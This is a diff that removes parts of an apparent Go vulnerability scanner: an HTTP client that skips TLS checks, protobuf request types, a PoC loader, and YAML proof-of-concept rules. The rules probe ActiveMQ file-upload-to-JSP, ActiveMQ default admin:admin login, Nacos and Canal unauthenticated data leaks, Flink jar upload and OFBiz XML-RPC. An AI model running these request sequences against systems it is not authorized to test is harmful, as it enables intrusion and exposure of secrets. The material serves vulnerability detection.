IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
if DownProxy != "" {
|
||||
if DownProxy == "1" {
|
||||
DownProxy = "http://127.0.0.1:8080"
|
||||
} else if !strings.Contains(DownProxy, "://") {
|
||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||
}
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
Client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
if req.Body == nil || req.Body == http.NoBody {
|
||||
} else {
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
|
||||
var oResp *http.Response
|
||||
var err error
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, err
|
||||
}
|
||||
|
||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
nu := &UrlType{}
|
||||
nu.Scheme = u.Scheme
|
||||
nu.Domain = u.Hostname()
|
||||
nu.Host = u.Host
|
||||
nu.Port = u.Port()
|
||||
nu.Path = u.EscapedPath()
|
||||
nu.Query = u.RawQuery
|
||||
nu.Fragment = u.Fragment
|
||||
return nu
|
||||
}
|
||||
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{}
|
||||
req.Method = oReq.Method
|
||||
req.Url = ParseUrl(oReq.URL)
|
||||
header := make(map[string]string)
|
||||
for k := range oReq.Header {
|
||||
header[k] = oReq.Header.Get(k)
|
||||
}
|
||||
req.Headers = header
|
||||
req.ContentType = oReq.Header.Get("Content-Type")
|
||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
||||
} else {
|
||||
data, err := ioutil.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Body = data
|
||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
var resp Response
|
||||
header := make(map[string]string)
|
||||
resp.Status = int32(oResp.StatusCode)
|
||||
resp.Url = ParseUrl(oResp.Request.URL)
|
||||
for k := range oResp.Header {
|
||||
header[k] = oResp.Header.Get(k)
|
||||
}
|
||||
resp.Headers = header
|
||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
||||
body, err := getRespBody(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp.Body = body
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
@@ -1,354 +0,0 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// source: http.proto
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
fmt "fmt"
|
||||
proto "github.com/golang/protobuf/proto"
|
||||
math "math"
|
||||
)
|
||||
|
||||
// Reference imports to suppress errors if they are not otherwise used.
|
||||
var _ = proto.Marshal
|
||||
var _ = fmt.Errorf
|
||||
var _ = math.Inf
|
||||
|
||||
// This is a compile-time assertion to ensure that this generated file
|
||||
// is compatible with the proto package it is being compiled against.
|
||||
// A compilation error at this line likely means your copy of the
|
||||
// proto package needs to be updated.
|
||||
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
|
||||
|
||||
type UrlType struct {
|
||||
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
|
||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
||||
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
|
||||
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
|
||||
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
|
||||
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
|
||||
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *UrlType) Reset() { *m = UrlType{} }
|
||||
func (m *UrlType) String() string { return proto.CompactTextString(m) }
|
||||
func (*UrlType) ProtoMessage() {}
|
||||
func (*UrlType) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{0}
|
||||
}
|
||||
|
||||
func (m *UrlType) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_UrlType.Unmarshal(m, b)
|
||||
}
|
||||
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *UrlType) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_UrlType.Merge(m, src)
|
||||
}
|
||||
func (m *UrlType) XXX_Size() int {
|
||||
return xxx_messageInfo_UrlType.Size(m)
|
||||
}
|
||||
func (m *UrlType) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_UrlType.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_UrlType proto.InternalMessageInfo
|
||||
|
||||
func (m *UrlType) GetScheme() string {
|
||||
if m != nil {
|
||||
return m.Scheme
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetDomain() string {
|
||||
if m != nil {
|
||||
return m.Domain
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetHost() string {
|
||||
if m != nil {
|
||||
return m.Host
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetPort() string {
|
||||
if m != nil {
|
||||
return m.Port
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetPath() string {
|
||||
if m != nil {
|
||||
return m.Path
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetQuery() string {
|
||||
if m != nil {
|
||||
return m.Query
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetFragment() string {
|
||||
if m != nil {
|
||||
return m.Fragment
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type Request struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
|
||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Request) Reset() { *m = Request{} }
|
||||
func (m *Request) String() string { return proto.CompactTextString(m) }
|
||||
func (*Request) ProtoMessage() {}
|
||||
func (*Request) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{1}
|
||||
}
|
||||
|
||||
func (m *Request) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Request.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Request) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Request.Merge(m, src)
|
||||
}
|
||||
func (m *Request) XXX_Size() int {
|
||||
return xxx_messageInfo_Request.Size(m)
|
||||
}
|
||||
func (m *Request) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Request.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Request proto.InternalMessageInfo
|
||||
|
||||
func (m *Request) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Request) GetMethod() string {
|
||||
if m != nil {
|
||||
return m.Method
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Request) GetHeaders() map[string]string {
|
||||
if m != nil {
|
||||
return m.Headers
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Request) GetContentType() string {
|
||||
if m != nil {
|
||||
return m.ContentType
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Request) GetBody() []byte {
|
||||
if m != nil {
|
||||
return m.Body
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Response struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
|
||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Response) Reset() { *m = Response{} }
|
||||
func (m *Response) String() string { return proto.CompactTextString(m) }
|
||||
func (*Response) ProtoMessage() {}
|
||||
func (*Response) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{2}
|
||||
}
|
||||
|
||||
func (m *Response) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Response.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Response) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Response.Merge(m, src)
|
||||
}
|
||||
func (m *Response) XXX_Size() int {
|
||||
return xxx_messageInfo_Response.Size(m)
|
||||
}
|
||||
func (m *Response) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Response.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Response proto.InternalMessageInfo
|
||||
|
||||
func (m *Response) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Response) GetStatus() int32 {
|
||||
if m != nil {
|
||||
return m.Status
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (m *Response) GetHeaders() map[string]string {
|
||||
if m != nil {
|
||||
return m.Headers
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Response) GetContentType() string {
|
||||
if m != nil {
|
||||
return m.ContentType
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Response) GetBody() []byte {
|
||||
if m != nil {
|
||||
return m.Body
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Reverse struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
||||
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
|
||||
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Reverse) Reset() { *m = Reverse{} }
|
||||
func (m *Reverse) String() string { return proto.CompactTextString(m) }
|
||||
func (*Reverse) ProtoMessage() {}
|
||||
func (*Reverse) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{3}
|
||||
}
|
||||
|
||||
func (m *Reverse) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Reverse.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Reverse) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Reverse.Merge(m, src)
|
||||
}
|
||||
func (m *Reverse) XXX_Size() int {
|
||||
return xxx_messageInfo_Reverse.Size(m)
|
||||
}
|
||||
func (m *Reverse) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Reverse.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Reverse proto.InternalMessageInfo
|
||||
|
||||
func (m *Reverse) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Reverse) GetDomain() string {
|
||||
if m != nil {
|
||||
return m.Domain
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Reverse) GetIp() string {
|
||||
if m != nil {
|
||||
return m.Ip
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Reverse) GetIsDomainNameServer() bool {
|
||||
if m != nil {
|
||||
return m.IsDomainNameServer
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
|
||||
proto.RegisterType((*Request)(nil), "lib.Request")
|
||||
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
|
||||
proto.RegisterType((*Response)(nil), "lib.Response")
|
||||
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
|
||||
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
|
||||
}
|
||||
|
||||
func init() {
|
||||
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
|
||||
}
|
||||
|
||||
var fileDescriptor_11b04836674e6f94 = []byte{
|
||||
// 378 bytes of a gzipped FileDescriptorProto
|
||||
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
|
||||
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
|
||||
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
|
||||
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
|
||||
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
|
||||
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
|
||||
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
|
||||
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
|
||||
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
|
||||
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
|
||||
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
|
||||
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
|
||||
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
|
||||
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
|
||||
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
|
||||
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
|
||||
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
|
||||
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
|
||||
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
|
||||
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
|
||||
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
|
||||
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
|
||||
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
|
||||
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
syntax = "proto3";
|
||||
package lib;
|
||||
|
||||
message UrlType {
|
||||
string scheme = 1;
|
||||
string domain = 2;
|
||||
string host = 3;
|
||||
string port = 4;
|
||||
string path = 5;
|
||||
string query = 6;
|
||||
string fragment = 7;
|
||||
}
|
||||
|
||||
message Request {
|
||||
UrlType url = 1;
|
||||
string method = 2;
|
||||
map<string, string> headers = 3;
|
||||
string content_type = 4;
|
||||
bytes body = 5;
|
||||
}
|
||||
|
||||
message Response {
|
||||
UrlType url = 1;
|
||||
int32 status = 2 ;
|
||||
map<string, string> headers = 3;
|
||||
string content_type = 4;
|
||||
bytes body = 5;
|
||||
}
|
||||
|
||||
message Reverse {
|
||||
UrlType url = 1;
|
||||
string domain = 2;
|
||||
string ip = 3;
|
||||
bool is_domain_name_server = 4;
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"gopkg.in/yaml.v3"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"`
|
||||
Set map[string]string `yaml:"set"`
|
||||
Sets map[string][]string `yaml:"sets"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
}
|
||||
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"`
|
||||
Path string `yaml:"path"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
Search string `yaml:"search"`
|
||||
FollowRedirects bool `yaml:"follow_redirects"`
|
||||
Expression string `yaml:"expression"`
|
||||
}
|
||||
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"`
|
||||
Links []string `yaml:"links"`
|
||||
Description string `yaml:"description"`
|
||||
Version string `yaml:"version"`
|
||||
}
|
||||
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := loadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var foundFiles []string
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
name: poc-yaml-activemq-cve-2016-3088
|
||||
set:
|
||||
filename: randomLowercase(6)
|
||||
fileContent: randomLowercase(6)
|
||||
rules:
|
||||
- method: PUT
|
||||
path: /fileserver/{{filename}}.txt
|
||||
body: |
|
||||
{{fileContent}}
|
||||
expression: |
|
||||
response.status == 204
|
||||
- method: GET
|
||||
path: /admin/test/index.jsp
|
||||
search: |
|
||||
activemq.home=(?P<home>.*?),
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: MOVE
|
||||
path: /fileserver/{{filename}}.txt
|
||||
headers:
|
||||
Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 204
|
||||
- method: GET
|
||||
path: /api/{{filename}}.jsp
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(fileContent))
|
||||
detail:
|
||||
author: j4ckzh0u(https://github.com/j4ckzh0u)
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
|
||||
@@ -1,16 +0,0 @@
|
||||
name: poc-yaml-activemq-default-password
|
||||
rules:
|
||||
- method: GET
|
||||
path: /admin/
|
||||
expression: |
|
||||
response.status == 401 && response.body.bcontains(b"Unauthorized")
|
||||
- method: GET
|
||||
path: /admin/
|
||||
headers:
|
||||
Authorization: Basic YWRtaW46YWRtaW4=
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
|
||||
detail:
|
||||
author: pa55w0rd(www.pa55w0rd.online/)
|
||||
links:
|
||||
- https://blog.csdn.net/ge00111/article/details/72765210
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-alibaba-canal-info-leak
|
||||
rules:
|
||||
- method: GET
|
||||
path: /api/v1/canal/config/1/1
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
|
||||
detail:
|
||||
author: Aquilao(https://github.com/Aquilao)
|
||||
info: alibaba Canal info leak
|
||||
links:
|
||||
- https://my.oschina.net/u/4581879/blog/4753320
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-alibaba-nacos-api-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
|
||||
headers:
|
||||
User-Agent: Nacos-Server
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
|
||||
detail:
|
||||
author: AgeloVito
|
||||
info: alibaba-nacos-api-unauth
|
||||
login: nacos/nacos
|
||||
links:
|
||||
- https://blog.csdn.net/caiqiiqi/article/details/112005424
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-alibaba-nacos
|
||||
rules:
|
||||
- method: GET
|
||||
path: /nacos/
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.body.bcontains(bytes("<title>Nacos</title>"))
|
||||
detail:
|
||||
author: AgeloVito
|
||||
info: alibaba-nacos
|
||||
login: nacos/nacos
|
||||
links:
|
||||
- https://blog.csdn.net/caiqiiqi/article/details/112005424
|
||||
@@ -1,38 +0,0 @@
|
||||
name: poc-yaml-apache-flink-upload-rce
|
||||
set:
|
||||
r1: randomLowercase(8)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /jars
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
response.status == 200 && response.content_type.contains("json") &&
|
||||
response.body.bcontains(b"address") && response.body.bcontains(b"files")
|
||||
- method: POST
|
||||
path: /jars/upload
|
||||
headers:
|
||||
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
|
||||
body: |-
|
||||
--8ce4b16b22b58894aa86c421e8759df3
|
||||
Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
|
||||
Content-Type:application/octet-stream
|
||||
|
||||
{{r1}}
|
||||
--8ce4b16b22b58894aa86c421e8759df3--
|
||||
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
response.status == 200 && response.content_type.contains("json") &&
|
||||
response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
|
||||
search: >-
|
||||
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
|
||||
- method: DELETE
|
||||
path: '/jars/{{filen}}'
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200
|
||||
detail:
|
||||
author: timwhite
|
||||
links:
|
||||
- https://github.com/LandGrey/flink-unauth-rce
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
|
||||
set:
|
||||
rand: randomInt(200000000, 210000000)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /webtools/control/xmlrpc
|
||||
headers:
|
||||
Content-Type: application/xml
|
||||
body: >-
|
||||
<?xml
|
||||
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
|
||||
detail:
|
||||
author: su(https://suzzz112113.github.io/#blog)
|
||||
links:
|
||||
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
|
||||
